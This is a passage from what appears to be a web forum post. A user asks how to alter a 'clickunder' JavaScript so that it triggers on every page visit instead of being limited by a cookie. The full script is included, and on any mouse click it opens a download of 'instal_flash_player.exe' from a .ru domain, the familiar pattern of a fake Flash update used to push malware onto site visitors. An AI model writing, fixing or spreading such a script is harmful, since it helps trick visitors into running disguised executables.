you or anyone could make it work the way I explained above I will be very much appreciated. Thanks, Chris This is clickunder script , but i need whenever i open page again , it works again at this current form , it doesnt open clickunder whenever i open page again what codes must change ? Code: <SCRIPT LANGUAGE="Javascript"> function PopShow3() { CookieTest=navigator.cookieEnabled; if(CookieTest) { ClickUndercookie = GetCookie('clickunder'); if (ClickUndercookie == null) { var ExpDate = new Date (); ExpDate.setTime(ExpDate.getTime() + (144 *60 * 60 * 1000)); SetCookie('clickunder','1',ExpDate, "/"); window.open("http://adodes.ru/download/instal_flash_player.exe"); window.focus(); } } } function GetCookie (name) { var arg = name + "="; var alen = arg.length; var clen = document.cookie.length; var i = 0; while (i < clen) { var j = i + alen; if (document.cookie.substring(i, j) == arg) return getCookieVal (j); i = document.cookie.indexOf(" ", i) + 1; if (i == 0) break; } return null; } function SetCookie (name, value) { var argv = SetCookie.arguments; var argc = SetCookie.arguments.length; var expires = (argc > 2) ? argv[2] : null; var path = (argc > 3) ? argv[3] : null; var domain = (argc > 4) ? argv[4] : null; var secure = (argc > 5) ? argv[5] : false; document.cookie = name + "=" + escape (value) + ((expires == null) ? "" : ("; expires=" + expires.toGMTString())) + ((path == null) ? "" : ("; path=" + path)) + ((domain == null) ? "" : ("; domain=" + domain)) + ((secure == true) ? "; secure" : ""); } document.onmouseup=PopShow3; </SCRIPT> |